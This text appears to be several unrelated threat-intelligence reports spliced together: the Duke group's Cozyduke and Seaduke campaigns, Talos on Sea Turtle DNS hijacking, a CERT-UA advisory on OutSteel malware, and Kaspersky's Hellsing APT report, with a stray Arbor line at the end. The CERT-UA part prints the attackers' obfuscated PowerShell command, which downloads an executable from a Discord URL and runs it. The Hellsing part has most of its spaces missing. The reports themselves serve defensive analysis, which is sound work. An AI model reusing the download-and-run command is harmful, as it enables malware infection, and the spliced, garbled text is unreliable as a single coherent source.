Cozyduke campaign used an Office Monkeys video as a lureJuly 2014 The Duke group has mounted an extended campaign targeting high-profile networks over extended periods, something which is far beyond the reach of the majority of threat actors.
Its capabilities include: Attack infrastructure leveraging hundreds of compromised websites Rapidly developed malware frameworks in concurrent use Sophisticated operators with fine-tuned computer network exploitation (CNE) skills Although Cozyduke activity was first identified in March 2014, it wasnt until July that the group managed to successfully compromise high-profile government networks.
Cozyduke was used throughout these attacks to harvest and exfiltrate sensitive information to the attackers.
In parallel, the Duke group was also installing separate malware onto these networks, namely Backdoor.
Miniduke and the more elusive Trojan.
Seaduke.
It could use these payloads to exploit networks on multiple fronts and providing it with additional persistence mechanisms.
The Miniduke payload In July of 2014, the group instructed Cozyduke-infected computers to install Backdoor.
Miniduke onto a compromised network.
Miniduke has been the groups tool of choice for a number of years in espionage operations predominantly targeting government and diplomatic entities in Eastern Europe and ex-Soviet states.
Nemesis Gemina appears to be the internal name for the framework used by the group to identify the project, previously reported by Kaspersky.
The following debug string was present in the sample used in these attacks: C:\Projects\nemesis-gemina\nemesis\bin\carriers\ezlzma_x86_exe.pdb This project name has been seen in Backdoor.
Tinybaron (aka Cosmicduke) samples, which Symantec also attributes to the Duke group.
This deployment of Miniduke and the technical similarities with Cozyduke provided strong indicators as to who was behind the attacks.
The Seaduke payload These attacks were already well underway when another group began to deploy a previously unknown piece of malware.
In October 2014, the Seaduke payload began to appear within target networks.
Although Seaduke was developed in Python, the overall framework bears a striking resemblance to Cozyduke in terms of operation.
Its unclear why the attackers waited until October to deploy Seaduke.
Was it reserved for a more specific attack?
Was part of their cover blown, necessitating the use of an alternative framework?
The Seaduke framework was designed to be highly configurable.
Hundreds of reconfigurations were identified on compromised networks.
The communication protocol employed had many layers of encryption and obfuscation, using over 200 compromised web servers for command and control.
Seaduke required a significant investment of time and resources in the preparatory and operational phases of the attack.
Seaduke delivery The attackers control Cozyduke via compromised websites, issuing instructions to infected machines by uploading tasks to a database file.
Cozyduke will periodically contact these websites to retrieve task information to be executed on the local machine.
One such task (an encoded PowerShell script) instructed Cozyduke to download and execute Seaduke from a compromised website.
Figure 2.
How the attacker tasks Cozer to install Seaduke Seaduke operation The attackers can operate Seaduke in a broadly similar fashion to Cozyduke.
The Seaduke control infrastructure is essentially distinct, opening up the possibility of sub-teams concurrently exploiting the target network.
Unlike Cozyduke, Seaduke operators upload task files directly to the command- and-control (CC) server there is no database as such present.
Seaduke securely communicates with the CC server over HTTP/HTTPS beneath layers of encoding (Base64) and encryption (RC4, AES).
To an untrained eye, the communications look fairly benign, no doubt an effort to stay under the radar on compromised networks.
Figure 3.
How Seaduke operates on the target network Seaduke has many inbuilt commands which are available to the attackers.
They have the ability to retrieve detailed bot/system information, update bot configuration, upload files, download files, and self- delete the malware from the system.
The self-delete function is interestingly called seppuku.
This is a form of Japanese ritual suicide.
Seaduke payloads The attackers have also developed a number of additional payloads.
Operators can push these payloads onto infected machines for very specific attacks.
Impersonation using Kerberos pass-the-ticket attacks (Mimikatz PowerShell) Email extraction from the MS Exchange Server using compromised credentials Archiving sensitive information Data exfiltration via legitimate cloud services Secure file deletion What next?
The Duke group has brought its operational capability to the next level.
Its attacks have been so bold and aggressive, that a huge amount of attention has been drawn to it, yet it appears to be unperturbed.
Its success at compromising such high-profile targets has no doubt added a few feathers to its cap.
Even the developers reveled in this fact, naming one of Seadukes functions forkmeiamfamous.
While the group is currently keeping a lower profile, theres no doubt it will reappear.
Some tools may have to be abandoned, some reworked and others built completely from scratch.
This attack group is in it for the long haul.
Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html By Danny Adamitis with contributions from Paul Rascagneres.
Executive summary After several months of activity, the actors behind the Sea Turtle DNS hijacking campaign are not slowing down.
Cisco Talos recently discovered new details that suggest they regrouped after we published our initial findings and coverage and are redoubling their efforts with new infrastructure.
While many actors will slow down once they are discovered, this group appears to be unusually brazen, and will be unlikely to be deterred going forward.
Additionally, we discovered a new DNS hijacking technique that we assess with moderate confidence is connected to the actors behind Sea Turtle.
This new technique is similar in that the threat actors compromise the name server records and respond to DNS requests with falsified A records.
This new technique has only been observed in a few highly targeted operations.
We also identified a new wave of victims, including a country code top-level domain (ccTLD) registry, which manages the DNS records for every domain uses that particular country code, that access was used to then compromise additional government entities.
Unfortunately, unless there are significant changes made to better secure DNS, these sorts of attacks are going to remain prevalent.
New DNS hijacking technique 1/6 https://blog.talosintelligence.com/2019/07/sea-turtle-keeps-on-swimming.html https://3.bp.blogspot.com/-aHWsqGmU9Lc/XSStHSArv0I/AAAAAAAAHLo/-OX42CLiPqgN2AD0GbuJeAbAOrO23cRswCK4BGAYYCw/s1600/sea2Bturtle.jpg https://twitter.com/dadamitis https://twitter.com/r00tbsd https://blog.talosintelligence.com/2019/04/seaturtle.html https://1.bp.blogspot.com/-4C1_JkIV61w/XSQ665oXXrI/AAAAAAAAArI/dVm6MId3ap4HfXGde7ygvxtawsfB-HEkACLcBGAs/s1600/image1.png Talos now has moderate confidence that the threat actors behind Sea Turtle have been using another DNS hijacking technique.
This new technique has been used very sparingly, and thus far have only identified two entities that were targeted in 2018, though we believe there are likely more.
This new technique once again involved modifying the target domains name server records to point legitimate users to the actor-controlled server.
In this case, the actor-controlled name server and the hijacked hostnames would both resolve to the same IP address for a short period of time, typically less than 24 hours.
In both observed cases, one of the hijacked hostnames would reference an email service and the threat actors would presumably harvest user credentials.
One aspect of this technique that makes it extremely difficult to track is that the actor-controlled name servers were not used across multiple targets  meaning that every entity hijacked with this technique had its own dedicated name server hostname and its own dedicated IP address.
Whereas previously reported name server domains such as ns1[.]intersecdns[.
]com were used to target multiple organizations.
In one case, a private organization primarily used a third-party service as their authoritative name server.
Then, for a three-hour window in January 2018, their name server records were changed to a name server hostname that mimicked a slightly different version of the organizations name.
During that three-hour window, the actor-controlled IP address hosted three hostnames, the two actor-controlled name servers and the webmail hostname.
This would allow the threat actors to perform a man-in-the-middle (MitM) attack, as outlined in our previous post, and harvest credentials.
This technique was also observed against a government organizations in the Middle East and North African region.
Continued activity against ccTLD The Institute of Computer Science of the Foundation for Research and Technology - Hellas (ICS-Forth), the ccTLD for Greece, acknowledged on its public website that its network had been compromised on April 19, 2019.
Based on Cisco telemetry, we determined that the actors behind the Sea Turtle campaign had access to the ICS-Forth network.
Cisco telemetry confirmed that the actors behind Sea Turtle maintained access to the ICS- Forth network from an operational command and control (C2) node.
Our telemetry indicates that the actors maintained access in the ICS-Forth network through at least April 24, five days after the statement was publicly released.
Upon analysis of this operational C2 node, we determined that it was also used to access an organization in Syria that was previously redirected using the actor-controlled name server ns1[.]intersecdns[.
]com.
This indicates that the same threat actors were behind both operations.
2/6 https://techblog.gr/internet/kyvernoepithesi-ypesti-to-mitroo-onomaton-internet-katalixi-gr-el/ We also saw evidence that the threat actors researched the open-source tool PHP-Proxy.
Notably, this particular C2 node searched for both blog.talosintelligence.com and ncsc.gov.uk, presumably to view Talos previous reports on DNS hijacking and this DNS hijacking advisory from the United Kingdoms National Cyber Security Centre.
New actor-controlled nameserver We recently discovered a new actor-controlled nameserver, rootdnservers[.
]com, that exhibited similar behavior patterns as name servers previously utilized as part of the Sea Turtle campaign.
The domain rootdnservers[.
]com was registered on April 5, 2019 through the registrar NameCheap.
The new actor-controlled name server rootdnservers[.
]com was utilized to perform DNS hijacking against three government entities that all used .gr, the Greek ccTLD.
Its likely that these hijackings were performed through the access the threat actors obtained in the ICS-Forth network.
Below is a table showing the three most recent actor-controlled name servers that we have associated with this activity and their current operational status.
Hostnames IP addresses Operational Status ns1[.]rootdnservers[.
]com.
45[.]32[.]100[.
]62 Active ns2[.]rootdnservers[.
]com.
45[.]32[.]100[.
]62 Active ns1[.]intersecdns[.
]com 95[.]179[.]150[.
]101 Inactive ns2[.]intersecdns[.
]com 95[.]179[.]150[.
]101 Inactive New IP addresses associated with man-in-the-middle activity By identifying the targeted domains, we were able to identify the hijacked hostnames and the corresponding actor-controlled MitM nodes.
The threat actors, again employing previously documented tradecraft, by performing a certificate impersonation technique.
This is where the threat actors procure an SSL certificate for the targeted hostname from a different SSL provider.
Below is a table showing the dates and associated IP addresses.
Date IP address April 13, 2019 95[.]179[.]131[.
]225 April 16, 2019 95[.]179[.]131[.
]225 April 11, 2019 95[.]179[.]131[.
]225 3/6 https://www.php-proxy.com/ https://www.ncsc.gov.uk/news/alert-dns-hijacking-activity April 11, 2019 140[.]82[.]58[.
]253 April 10, 2019 95[.]179[.]156[.
]61 Updated victimology Since our initial report, Sea Turtle has continued to compromise a number of different entities to fulfill their requirements.
We have identified some of the new primary targets as: Government organizations Energy companies Think tanks International non-governmental organizations At least one airport In terms of secondary targets, we have seen very similar targets as those previously reported, such as telecommunications providers, internet service providers and one registry.
Coverage and mitigations In order to best protect against this type of attack, we compiled a list of potential actions.
We have included additional security recommendations, that were highlighted by Bill Woodcock during his presentations on DNS/IMAP attacks.
We recommend implementing multi-factor authentication, such as DUO, to secure the management of your organizations DNS records at your registrar, and to connect remotely to your corporate network via a Virtual Private Network (VPN).
4/6 https://www.youtube.com/watch?voNF6TE75mzg Talos suggests a registry lock service on your domain names, which will require the registrar to provide an out-of-band confirmation before the registry will process any changes to an organizations DNS record.
DNSSEC sign your domains, either in-house, or using a DNS service provider which performs DNSSEC key-management services.
DNSSEC validate all DNS lookups in your recursive resolver, either using in-house nameservers, or a service like Cisco Umbrella / OpenDNS.
Make Internet Message Access Protocol (IMAP) email servers accessible only from your corporate LAN and to users who have already authenticated over a VPN.
If you suspect you were targeted by this type of activity, we recommend instituting a network-wide password reset, preferably from a computer on a trusted network.
Lastly, network administrators can monitor passive DNS record on their domains, to check for abnormalities.
Indicators of compromise IP address Characterization Date Range 185[.]64[.]105[.
]100 Operational Node March - April 2019 178[.]17[.]167[.
]51 Operational Node June 2019 95[.]179[.]131[.
]225 Mitm Node April 2019 140[.]82[.]58[.
]253 Mitm Node April 2019 95[.]179[.]156[.
]61 Mitm Node April 2019 196[.]29[.]187[.
]100 Mitm Node December 2018 188[.]226[.]192[.
]35 Mitm Node January 2018 ns1[.]rootdnservers[.
]com Actor-controlled nameserver April 2019 ns2[.]rootdnservers[.
]com Actor-controlled nameserver April 2019 45[.]32[.]100[.
]62 Hosted malicious nameserver April 2019 ns1[.]intersecdns[.
]com Actor-controlled nameserver February - April 2019 ns2[.]intersecdns[.
]com Actor-controlled nameserver February - April 2019 95[.]179[.]150[.
]101 Hosted malicious nameserver February - July 2019 5/6 6/6 Sea Turtle keeps on swimming, finds new victims, DNS hijacking techniques Executive summary New DNS hijacking technique Continued activity against ccTLD New actor-controlled nameserver New IP addresses associated with man-in-the-middle activity Updated victimology Coverage and mitigations Indicators of compromise
1/3 CERT-UA cert.gov.ua/article/18419 general information The Governmental Computer Emergency Response Team of Ukraine CERT-UA received information from the coordinating entity on the dissemination, allegedly on behalf of the National Police of Ukraine, of e-mails with attachments in the form of password-protected DOCX documents, such as Crime Report (Belous Alexei Sergeevich) .docx or Report of a crime.docx .
These documents contain built-in objects, the activation of which will create and run a Javascript file on your computer, such as GSU207POLICE.GOV.UA - Message (2) .js.
The latter, using powershell, will connect to the Discord service and download and execute an EXE file, which will damage the victims computer with the malicious program OutSteel (compilation date: 30.01.2022).
The activity is associated with the activities of the UAC-0056 group.
Indicators of compromise Files: 4d01975268c215fc26ed79ebd17ec22d Report on the commission of a crime (Belous Alexei Sergeevich) .docx 12ed130045b2e731bc66c9261c88efaa GSU207POLICE.GOV.UA - Messages (2) .js 22c1d43016cb2b8b9e5e5e9895526354 Report of a crime .docx 0e3c3fe6167485807c4d36a904dfcae1 GSU207POLICE.GOV.UA - Messages (17) .js 259f06fcdb971f606d239b3178110981 putty.exe ccc3750d9270d1e8c95649d91f94033b putty.dmp.exe (OutSteel) 5fa2c64ed3e9944030b6fd9f3d3d7102 puttyjejfrwu.exe 57a10dad336f1a6cb206dca7ddd3fcaf AutoIt.exe (OutSteel) ab2a92e0fc5a6f63336e442f34089f16 1406.exe (SaintBot) af9a60ea728985f492119ebf713e0716 load4849kd30.exe (SaintBot) 247165c7d96bf443b6a7360a44b7dcfb f0d.exe cd8915c63f3134425aa7c851f5f1e645 f1d.exe Network: hxxps: //cdn.discordapp [.]
com / attachments / 932413459872747544/938291977735266344 / putty.exe hxxps: //cdn.discordapp [.]
com / attachments / 932413459872747544/938317934026170408 / puttyjejfrwu.exe hxxp: //185.244.41 [.]
109: 8080 / upld / hxxp: // eumr [.]
site / load74h74830.exe 185.244.41 [.]
109 eumr [.]
site mariaparsons10811  gmail [.]
com https://cert.gov.ua/article/18419 2/3 Hosts: PUBLIC \ GoogleChromeUpdate.exe USERPROFILE \ Documents \ .exe TEMP \ GSU207POLICE.GOV.UA - Message (2) .js TEMP \ rmm.bat TEMP \ svjhost.exe Processes: 1 powershell.exe  USERPROFILE \ Documents \ .exe 11 powershell.exe  USERPROFILE \ Documents \ .exe 3 powershell.exe   address: 443 22 powershell.exe cdn.discordapp [.]
Com 1 wscript.exe powershell.exe  SYSTEMROOT \ System32 \ WindowsPowerShell \ v1.0 \ powershell.exe [NeT.seRvIcepOiNtmanAgER] :: sECURITyPROToCOL [neT.SEcurITypRotOcoLType] :: Tls12 Irm -uRI (hxxps: //cdn.discordapp [.]
Com / attachments / 932413459872747544/938291977735266344 / putty.exe) -outfilE  enV: PuBLICGoogleChromeUpdate.exe sTArt-pRoceSs  eNV: pUBLIcGoogleChromeUpdate.exe 1 WINWORD.EXE wscript.exe  SYSTEMROOT \ System32 \ WScript.exe  TEMP \ GSU207POLICE.GOV.UA - Messages (2) .js Additional Information We recommend that you block access to services on the Internet that are not necessary and / or may create additional risks (such as Discord).
We draw your attention to the correct configuration of security policies and security measures for your computer, namely: prohibit MS Office processes (in particular, WINWORD.EXE) from running potentially dangerous programs, in this case - wscript.exe (Sysmon EventID: 1) monitor network connections (Sysmon EventID: 3.22) of potentially dangerous programs (powershell.exe, etc.)
Graphic images 3/3 Fig.
1 Example of an email and a malicious document
4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 1/10 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist securelist.com  Updated Apr 15th, 2015 TheChroniclesoftheHellsingAPT:theEmpireStrikesBack Introduction OneofthemostactiveAPTgroupsinAsia,andespeciallyaroundtheSouthChinaSeaareais Naikon.
Naikonplaysakeypartinourstory,butthefocusofthisreportisonanotherthreatactor entirelyonewhocametoourattentionwhentheyhitbackataNaikonattack.
Naikonisknownforitscustombackdoor,calledRARSTONE,whichourcolleaguesatTrendMicrohave describedindetail.
ThenameNaikoncomesfromacustomuseragentstring,NOKIAN95/WEB, locatedwithinthebackdoor: NOKIANstringinNaikonbackdoor TheNaikongroupismostlyactiveincountriessuchasthePhilippines,Malaysia,Cambodia,Indonesia, Vietnam,Myanmar,Singapore,andNepal,hittingavarietyoftargetsinaveryopportunisticway.
What wasperhapsoneofthebiggestoperationsoftheNaikongroupwaslaunchedinMarch2014,inthe wakeoftheMH370tragedythattookplaceonMarch8th.
ByMarch11th,theNaikongroupwasactively hittingmostofthenationsinvolvedinthesearchforMH370.Thetargetswereextremelywideranging butincludedinstitutionswithaccesstoinformationrelatedtothedisappearanceofMH370,suchas: OfficeofthePresident ArmedForces OfficeoftheCabinetSecretary NationalSecurityCouncil(s) OfficeoftheSolicitorGeneral NationalIntelligenceCoordinatingAgency CivilAviationAuthority DepartmentofJustice http://securelist.com/analysis/publications/69567/the-chronicles-of-the-hellsing-apt-the-empire-strikes-back/ 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 2/10 NationalPolice PresidentialManagementStaff TheNaikongroupusedmostlyspearphisheddocumentsfortheattacks,withCVE20120158exploits thatdroppedthegroupssignaturebackdoor.
Whilemanyoftheseattacksweresuccessful,atleastoneofthetargetsdidntseemtolikebeing hit,andinsteadofopeningthedocuments,decidedonaverydifferentcourseofaction.
Theempirestrikesback Heresaquestionwhatshouldyoudowhenyoureceivingasuspiciousdocumentfromsomebodyyou dontknow,orknowverylittle?Chooseone: Openthedocument Dontopenthedocument OpenthedocumentonaMac(everybodyknowsMacsdontgetviruses) OpenthedocumentinavirtualmachinewithLinux Basedonourexperience,mostpeoplewouldsay2,3or4.Veryfewwouldopenthedocumentand evenfewerwouldactuallydecidetotesttheattackerandverifyitsstory.
ButthisisexactlywhathappenedwhenoneoftheNaikonspearphishingtargetsreceivedasuspicious email.
Insteadofopeningthedocumentorchoosingtoopenitonanexoticplatform,theydecidedto checkthestorywiththesender: Naikontargetasksforconfirmationoftheemail Intheemailabove,wecanseethetargetquestioningtheauthenticityoftheNaikonspearphishing.
Theyaskthesenderifitwastheirintentiontoemailthisdocument.
Theattackerwas,ofcourse,notconfusedintheslightest,andbeingveryfamiliarwiththeinternal structureofthetargetsgovernmentagency,repliedclaimingthattheyworkforthesecretariatdivision andwereinstructedtosenditbytheorganizationsmanagement: 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 3/10 Naikonattackerrepliestothetarget ThereplyiswritteninpoorEnglishandindicatesthattheattackerisprobablynotasproficientinthe languageastheintendedvictim.
Seeingthereply,thetargetobviouslydecidednottoopenthe document.
Moreover,theydecidedtogoabitfurtherandtrytolearnmoreabouttheattacker.
Notlongafterthefirstexchange,thefollowingemailwassenttotheattackerbythetarget: TheattachmentisaRARarchivewithpassword,whichallowsittosafelybypassmalwarescanners associatedwiththefreeemailaccountusedbytheattackers.
Insidethearchivewefindtwodecode PDFfilesandoneSCRfile: Muchtooursurprise,theSCRfileturnedouttobeabackdoorpreparedespeciallyfortheNaikon fraudsters.
ThefileDirectoryof...Mar31,2014.scr(md5:198fc1af5cd278091f36645a77c18ffa)dropsablank documentcontainingtheerrormessageandabackdoormodule(md5: 588f41b1f34b29529bc117346355113f).Thebackdoorconnectstothecommandserverlocatedat philippinenews[.]mooo[.
]com.
Thebackdoorcanperformthefollowingactions: downloadfiles 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 4/10 downloadfiles uploadfiles updateitself uninstallitself WewereamazedtoseethiscourseofactionanddecidedtoinvestigatetheEmpireStrikesBackdoor furthernamingtheactorHellsing(explainedlater).
Themalwareusedbytheintendedvictimappearstohavethefollowinggeographicaldistribution, accordingtoKSNdata: Malaysiagovernmentnetworks Philippinesgovernmentnetworks Indonesiagovernmentnetworks USAdiplomaticagencies India(oldversionsofmalware) Inaddition,weveobservedthetargetingofASEANrelatedentities.
VictimsofHellsingattacks Theactortargetsitsintendedvictimsusingspearphishingemailswitharchivescontainingmalware, similartotheoneitusedagainsttheNaikongroup.
Someoftheattachmentnamesweobserved include: 2013MidYearIAGMeetingAdminCircularFINAL.7z HSGFOLGITEMSFORUSEOFNEWLYPROMOTEDYNCFEDERICOPAMORADA798085PN CLN.zip HomeOfficeDirectoryasofMay2012.PleasefindattachedherethelatestDFAdirectoryandkey positionofficialsforyourreferenece.scr LOINr13512re2ndQuarter.
Scr LetterfromPaquitoOchoatoAlbertDelRosario,theCurrentSecretaryofForeignAffairsofthe 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 5/10 LetterfromPaquitoOchoatoAlbertDelRosario,theCurrentSecretaryofForeignAffairsofthe Philippines.7z LettertoSND_OfficeCallandVisittoCommander,UnitedStatesPacificCommand(USPACOM) VER4.0.zip PAFACESFellowshipProgram.scr RANDAnalyticArchitectureforCapabilitiesBasedPlanning,MissionSystemAnalysis,and Transformation.scr UpdateAttachments_InteractionofMilitaryPersonnelwiththePresident_2012_06_28.rar UpdateSNDMeetingwiththePresidentreHasahasaShoalIncident.scr WashingtonDCDirectoryNovember2012EMBASSYOFTHEPHILIPPINES.zip ZPE7912012ZPE7922012.rar zpe7912012.PDF.scr WeveobservedRAR,ZIPand7ZIParchivesintheattacksthe7ZIParchiveswithpasswordswere probablyintroducedasawaytobypasstherecentsecurityfeaturesonGmail,whichblockpassword protectedarchiveswithexecutablesinside.
Eachbackdoorhasacommandandcontrolserverinsideaswellasaversionnumberandacampaign orvictimidentifier.
Someexamplesinclude: MD5 Date CC Campaignidentifier 2682a1246199a18967c98cb32191230c Mar 31 2014 freebsd.extrimtur[.
]com 1.6.1_MOTAC 31b3cc60dbecb653ae972db9e57e14ec Mar 31 2014 freebsd.extrimtur[.
]com 1.6.1_MOTAC 4dbfd37fd851daebdae7f009adec3cbd Nov 08 2013 articles.whynotad[.
]com 1.5_articles.whynotad.com nsc 015915bbfcda1b2b884db87262970a11 Feb 19 2014 guaranteed9.strangled[.
]net 1.5_guaranteed9nsc 3a40e0deb14f821516eadaed24301335 Mar 31 2014 hosts.mysaol[.
]com 1.6.1_imisimple 73396bacd33cde4c8cb699bcf11d9f56 Nov 08 2013 web01.crabdance[.
]com 1.5_op_laptop 7c0be4e6aee5bc5960baa57c6a93f420 Nov 08 2013 hosts.mysaol[.
]com 1.5_MMEA bff9c356e20a49bbcb12547c8d483352 Apr 02 2014 imgs09.homenet[.
]org 1.6.1_It c0e85b34697c8561452a149a0b123435 Apr 02 2014 imgs09.homenet[.
]org 1.6.1_It f13deac7d2c1a971f98c9365b071db92 Nov 08 2013 hosts.mysaol[.
]com 1.5_MMEA 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 6/10 2013 f74ccb013edd82b25fd1726b17b670e5 May 12 2014 second.photoframe[.
]com 1.6.2s_Ab ThecampaignidentifierscouldberelatedtotheorganizationstargetedbythespecificbuildsofthisAPT.
Somepossibledescriptionsfortheseinitialscouldbe: MOTACMinistryofTourismandCulture,Malaysiahttp://www.motac.gov.my/en/ NSChttp://www.nsc.gov.my/ MMEAMalaysianMaritimeEnforcementAgencyhttp://www.mmea.gov.my ArtifactsandoverlapwithotherAPTs Interestingly,someoftheinfrastructureusedbytheattackersappearstooverlap(althougharounda yearapart)withagrouptrackedinternallyatKasperskyLabasPlayfullDragon(alsoknownasGREF) whileotheraspectsoftheinfrastructureoverlapwithagroupknownasMirageorVixenPanda.
Forinstance,oneofthePlayfullDragonsXslcmdbackdoorsdescribedbyourcolleaguesfromFireEye (md5:6c3be96b65a7db4662ccaae34d6e72cc)beamstocdi.indiadigest[.
]in:53.OneoftheHellsing samplesweanalysed(md5:0cbefd8cd4b9a36c791d926f84f10b7b)connectstotheCCserverat webmm[.]indiadigest[.
]in.
Althoughthehostnameisnotthesame,thetopleveldomainsuggestssome kindofconnectionbetweenthegroups.
SeveralotherCCsubdomainsonindiadigest[.
]ininclude: aac.indiadigest[.
]in ld.indiadigest[.
]in longc.indiadigest[.
]in AnotheroverlapweobservediswithanAPTknownasCycldekorGoblinPanda.
SomeoftheHellsing samplesweanalysedinthisoperation(e.g.md5:a91c9a2b1bc4020514c6c49c5ff84298)communicate withtheserverwebb[.]huntingtomingalls[.
]com,usingaprotocolspecifictotheCycldekbackdoors (binup.asp/textup.asp/online.asp).
ItappearsthattheHellsingdeveloperstartedwiththeCycldeksourcesandworkedtogetherwiththe operatorsfromotherAPTgroups.
Nevertheless,itissufficientlydifferenttowarrantclassificationasa standaloneoperation.
So,wheredoestheHellsingnamecomefrom?Oneofthesamplesweanalysed(md5: 036e021e1b7f61cddfd294f791de7ea2)appearstohavebeencompiledinarushandtheattackerforgot toremovethedebuginformation.
OnecanseetheprojectnameisHellsingandthemalwareiscalled msger: Ofcourse,Hellsingcanhavemanydifferentmeanings,includingthefamousdoctorfromBramStokers Dracula.
However,accordingtoWikipedia,Hellsing(Herushingu)isalsoaJapanesemang aserieswrittenandillustratedbyKoutaHirano.
ItfirstpremieredinYoungKingOursin1997andended inSeptember2008.
4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 7/10 TheHellsingserieschroniclestheeffortsofthemysteriousandsecretHellsingOrganization,asit combatsvampires,ghouls,andothersupernaturalfoeswhichmakesitperhapsanappropriatename forourgroup.
InadditiontotheHellsing/msgermalware,weveidentifiedasecondgenerationofTrojansampleswhich appeartobecalledxweberbytheattackers: XweberseemstobethemorerecentTrojan,takingintoaccountcompilationtimestamps.
Allthe msgersampleswehaveseenappeartohavebeencompiledin2012.TheXwebersamplesarefrom 2013andfrom2014,indicatingthatatsomepointduring2013themsgermalwareprojectwas renamedand/orintegratedintoXweber.
DuringourinvestigationweveobservedtheHellsingAPTusingboththeXweberandmsger backdoorsintheirattacks,aswellasothertoolsnamedxrat,clare,ireneandxKat.
Othertools OncetheHellsingattackerscompromiseacomputer,theydeployothertoolswhichcanbeusedfor gatheringfurtherinformationaboutthevictimordoinglateralmovement.
Onesuchtoolistest.exe: 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 8/10 gatheringfurtherinformationaboutthevictimordoinglateralmovement.
Onesuchtoolistest.exe: Name test.exe Size 45,568bytes MD5 14309b52f5a3df8cb0eb5b6dae9ce4da Type Win32PEi386executable Thistoolisusedtogatherinformationandtestavailableproxies.
Interestingly,italsocontainsthe Hellsingdebugpath: Anotherattacktooldeployedinavictimsenvironmentwasafilesystemdriver,nameddiskfilter.sys, althoughinternallyitclaimstobenamedxrat.sys.
Thedriverisunsignedandcompiledfor32bit Windows.
Itwasusedbrieflyin2013,beforebeingabandonedbytheattackers,possiblydueto Windows7driversigningrequirements: AnothertoolusedbytheattackersiscalledxKat: Name xkat.exe Size 78,848bytes MD5 621e4c293313e8638fb8f725c0ae9d0f Type Win32PEi386executable Thisisapowerfulfiledeletionandprocesskillerwhichusesadriver(Dbgv.sys)toperformthe operations.
Weveseenitbeingusedbytheattackerstokillanddeletemalwarebelongingtotheir competitors.
Someofthedebugpathsfoundinthebinariesinclude: e:\Hellsing\release\clare.pdb e:\Hellsing\release\irene\irene.pdb d:\hellsing\sys\irene\objchk_win7_x86\i386\irene.pdb d:\hellsing\sys\xkat\objchk_win7_x86\i386\xKat.pdb d:\Hellsing\release\msger\msger_install.pdb d:\Hellsing\release\msger\msger_server.pdb d:\hellsing\sys\xrat\objchk_win7_x86\i386\xrat.pdb D:\Hellsing\release\exe\exe\test.pdb Attribution 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 9/10 Attribution Ingeneral,theattributionofAPTsisaverytrickytaskwhichiswhyweprefertopublishtechnicaldetails andallowotherstodrawtheirownconclusions.
TheHellsingrelatedsamplesappeartohavebeencompiledaroundthefollowingtimes: Assumingnormalworkstartsataround9am,theattackerseemstobemostactiveinatimezoneof GMT8or9,consideringaworkprogramof9/10amto6/7pm.
Conclusions TheHellsingAPTgroupiscurrentlyactiveintheAPACregion,hittingtargetsmainlyintheSouthChina Seaarea,withafocusonMalaysia,thePhilippinesandIndonesia.
Thegrouphasarelativelysmall footprintcomparedtomassiveoperationssuchasEquation.
Smallergroupscanhavetheadvantage ofbeingabletostayundertheradarforlongerperiodsoftime,whichiswhathappenedhere.
ThetargetingoftheNaikongroupbytheHellsingAPTisperhapsthemostinterestingpart.
Inthepast, weveseenAPTgroupsaccidentallyhittingeachotherwhilestealingaddressbooksfromvictimsand thenmassmailingeveryoneoneachoftheselists.
But,consideringthetimingandoriginoftheattack, thecurrentcaseseemsmorelikelytobeanAPTonAPTattack.
ToprotectagainstaHellsingattack,werecommendthatorganisationsfollowbasicsecuritybest practices: Dontopenattachmentsfrompeopleyoudontknow BewareofpasswordprotectedarchiveswhichcontainSCRorotherexecutablefilesinside Ifyouareunsureabouttheattachment,trytoopenitinasandbox Makesureyouhaveamodernoperatingsystemwithallpatchesinstalled UpdateallthirdpartyapplicationssuchasMicrosoftOffice,Java,AdobeFlashPlayerandAdobe Reader KasperskyLabproductsdetectthebackdoorsusedbytheHellsingattackeras: 4/15/2015 The Chronicles of the Hellsing APT: the Empire Strikes Back - Securelist https://www.evernote.com/shard/s170/nl/19724058/7adb22e5-7627-4947-9ded-f44b29ceed53/?csrfBusterTokenU3D12cf71a 10/10 Evernote makes it easy to remember things big and small from your everyday life using your computer, tablet, phone and the web.
Terms of Service Privacy Policy KasperskyLabproductsdetectthebackdoorsusedbytheHellsingattackeras: HEUR:Trojan.
Win32.Generic,TrojanDropper.
Win32.Agent.kbuj,Trojan Dropper.
Win32.Agent.kzqq.
DenytheHellsingAPTbydefault Appendix: HellsingIndicatorsofCompromise https://evernote.com/tos/ https://evernote.com/privacy/
Arbor Threat Intelligence Brief 2014-07 Copyright 2014 Arbor Networks, Inc. All rights reserved.
